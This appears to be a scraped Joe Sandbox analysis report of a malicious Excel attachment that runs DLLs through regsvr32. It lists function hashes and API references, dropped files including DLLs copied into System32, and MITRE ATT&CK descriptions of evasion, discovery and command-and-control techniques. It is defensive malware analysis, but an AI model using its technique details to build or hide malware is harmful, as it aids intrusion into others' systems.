Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: c3ad375b28d4005cd65bc3de3fd702d44b77b28fe8b76393b77b528eb6f720f0
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction Fuzzy Hash: CF72D470618B488FDB2ADF18C8956B9B7E1FB98305F10462DE8CAD7211DB34D986CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF74F7280 Relevance: 12.1, APIs: 8, Instructions: 104
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDecodePointer.NTDLL ref: 000007FEF74F72CE
DecodePointer.KERNEL32 ref: 000007FEF74F7375
DecodePointer.KERNEL32 ref: 000007FEF74F72EC

Part of subcall function 000007FEF74F3D00: RtlEncodePointer.NTDLL ref: 000007FEF74F3D06

DecodePointer.KERNEL32 ref: 000007FEF74F7398
DecodePointer.KERNEL32 ref: 000007FEF74F73AA
_initterm.LIBCMTD ref: 000007FEF74F7408
_initterm.LIBCMTD ref: 000007FEF74F741B
__crtExitProcess.LIBCMTD ref: 000007FEF74F747D

Memory Dump Source

Source File: 00000005.00000002.919820408.000007FEF74F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF74F0000, based on PE: true

Associated: 00000005.00000002.919817428.000007FEF74F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.919837980.000007FEF7512000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.919844833.000007FEF751B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.919848379.000007FEF751F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef74f0000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$_initterm$EncodeExitProcess__crt
String ID:
API String ID: 3799933513-0
Opcode ID: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction ID: 89618c808956bf9c9c9427a355c34e12636da4f006e0b801dda56105ed07117a
Opcode Fuzzy Hash: c9a1689ff4177d35e5a558f0089bed0cb41f7669401f9128f576ef3edf69137f
Instruction Fuzzy Hash: BB511C3692DA8282E7919B14F4443AAB7E5F388786F501135FA8E43BB9DF7CE444CB04

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024EE6 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0000000180025094

Strings

z, xrefs: 000000018002502F

Memory Dump Source

Source File: 00000005.00000002.919789550.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: z
API String ID: 963392458-1375040831
Opcode ID: 044b6e1ce48cfd18270e48a4d1ffa5fa37b68dcc1aa27e33fe08f1a26b59e50a
Instruction ID: 5490f85ef4092ec497088e60b932e525f0ce693db587fe3a551d92928695aba5
Opcode Fuzzy Hash: 044b6e1ce48cfd18270e48a4d1ffa5fa37b68dcc1aa27e33fe08f1a26b59e50a
Instruction Fuzzy Hash: 5141C27191C7848FD7A5DF18D08A7DAB7E0FB98318F01495DE88CC7292DB749885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024F28 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 111processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32 ref: 0000000180025094

Strings

z, xrefs: 000000018002502F

Memory Dump Source

Source File: 00000005.00000002.919789550.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: z
API String ID: 963392458-1375040831
Opcode ID: 274a6825be770f02a4f82c9f6cbe831b28a77f7637ef6bb2e3a1323e28db6850
Instruction ID: 90d0215384d3738c1bd812602d16852eefab8a4974bd8bae5625081230a7a3ff
Opcode Fuzzy Hash: 274a6825be770f02a4f82c9f6cbe831b28a77f7637ef6bb2e3a1323e28db6850
Instruction Fuzzy Hash: 4741377091CB848BD7B4DF18D08A7AAB7E0FB98315F10495EE88CC3252DB7498848B86

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF74F6FF2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF74FCA00: EncodePointer.KERNEL32 ref: 000007FEF74FCA33

_initterm_e.LIBCMTD ref: 000007FEF74F701F

Strings

Y, xrefs: 000007FEF74F700C

Memory Dump Source

Source File: 00000005.00000002.919820408.000007FEF74F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF74F0000, based on PE: true

Associated: 00000005.00000002.919817428.000007FEF74F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.919837980.000007FEF7512000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.919844833.000007FEF751B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.919848379.000007FEF751F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef74f0000_regsvr32.jbxd

Similarity

API ID: EncodePointer_initterm_e
String ID: Y
API String ID: 1618838664-1754117475
Opcode ID: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction ID: 46fc2e21544c3fab56011d7981ca152787d70107ebc7354b2b958e2dc2ae2403
Opcode Fuzzy Hash: 24d3616295d43623420cef2980f0f4d1896d7dbbaf9113ec39dfe7d3f9684184
Instruction Fuzzy Hash: E4E0C925E2C042DAF6A2AB20E8407F923E1BB94346F800531F14D474B5DB7DF904CB08

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF74F4399 Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E000007FE7FEF74F4399(long long __rax, long long _a48, intOrPtr _a80, intOrPtr _a88, void* _a120) {

				_a48 = __rax;
				if (_a48 == 0) goto 0xf74f43ad;
				goto 0xf74f43f5;
				if (_a88 != 0) goto 0xf74f43ce;
				if (_a120 == 0) goto 0xf74f43c7;
				 *_a120 = 0xc;
				goto 0xf74f43f5;
				if (E000007FE7FEF74FABB0(_a48, _a80) != 0) goto 0xf74f43f3;
				if (_a120 == 0) goto 0xf74f43ef;
				 *_a120 = 0xc;
				goto 0xf74f43f5;
				goto 0xf74f4377;
				return 0;
			}

0x7fef74f4399
0x7fef74f43a4
0x7fef74f43ab
0x7fef74f43b2
0x7fef74f43ba
0x7fef74f43c1
0x7fef74f43cc
0x7fef74f43da
0x7fef74f43e2
0x7fef74f43e9
0x7fef74f43f1
0x7fef74f43f3
0x7fef74f43f9

Memory Dump Source

Source File: 00000005.00000002.919820408.000007FEF74F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF74F0000, based on PE: true

Associated: 00000005.00000002.919817428.000007FEF74F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.919837980.000007FEF7512000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.919844833.000007FEF751B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.919848379.000007FEF751F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef74f0000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction ID: 67b0175ca48f45daf5b42bc593fb4f951043e705391ce4620868f5216f11e614
Opcode Fuzzy Hash: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction Fuzzy Hash: 2101AE26A2CA41C7F6A48A19E4447AAA7E0F384795F100131FA8D47AB8DF7CE484CA00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF74F3433 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF74F3437

Part of subcall function 000007FEF74F7D00: DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF74F343C), ref: 000007FEF74F7D93

Part of subcall function 000007FEF74F3E00: FlsFree.KERNEL32 ref: 000007FEF74F3E13
Part of subcall function 000007FEF74F3E00: _mtdeletelocks.LIBCMTD ref: 000007FEF74F3E23

Part of subcall function 000007FEF74F88D0: HeapDestroy.KERNELBASE ref: 000007FEF74F88DB

Memory Dump Source

Source File: 00000005.00000002.919820408.000007FEF74F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 000007FEF74F0000, based on PE: true

Associated: 00000005.00000002.919817428.000007FEF74F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.919837980.000007FEF7512000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.919844833.000007FEF751B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.919848379.000007FEF751F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef74f0000_regsvr32.jbxd

Similarity

API ID: CriticalDeleteDestroyFreeHeapSection_ioterm_mtdeletelocks
String ID:
API String ID: 1508997487-0
Opcode ID: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction ID: 5e077c13179ed4a5ae1687737eba0226ba36b527ce4b6aecb72ea1d7554283b6
Opcode Fuzzy Hash: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction Fuzzy Hash: 01E0E2A4E2C0078AF6C1636098023F915C55B44383F901038B00E8B2F6EABDA8008262

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Scan 2022.20.05_0910.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\f6TC4C6PwMWzjYykKV327CT8vWcYjtGvLL[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Cmk1Nr[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\xqJfpnc0wEmcroPdpB[1].dll

C:\Users\user\AppData\Local\Temp\5F20.tmp

C:\Users\user\AppData\Local\Temp\Cab5CC9.tmp

C:\Users\user\AppData\Local\Temp\Tar5CCA.tmp

C:\Users\user\AppData\Local\Temp\~DFCBAF547270F146D3.TMP

C:\Users\user\AppData\Local\Temp\~DFDB8800F55F6FFF92.TMP

C:\Users\user\Desktop\Scan 2022.20.05_0910.xls

C:\Users\user\uxevr1.ocx

C:\Users\user\uxevr2.ocx

C:\Users\user\uxevr3.ocx

C:\Windows\System32\AVQhDTOoTQ\JuebGslFXTeyRNG.dll (copy)

C:\Windows\System32\IWJyiUbrMYkKNab\HrQqTfHWMtY.dll (copy)

Windows Analysis Report
Scan 2022.20.05_0910.xls

Function 000007FEF9D212B0 Relevance: 210.9, APIs: 6, Strings: 114, Instructions: 872
memorywindowCOMMON

Function 001D0000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre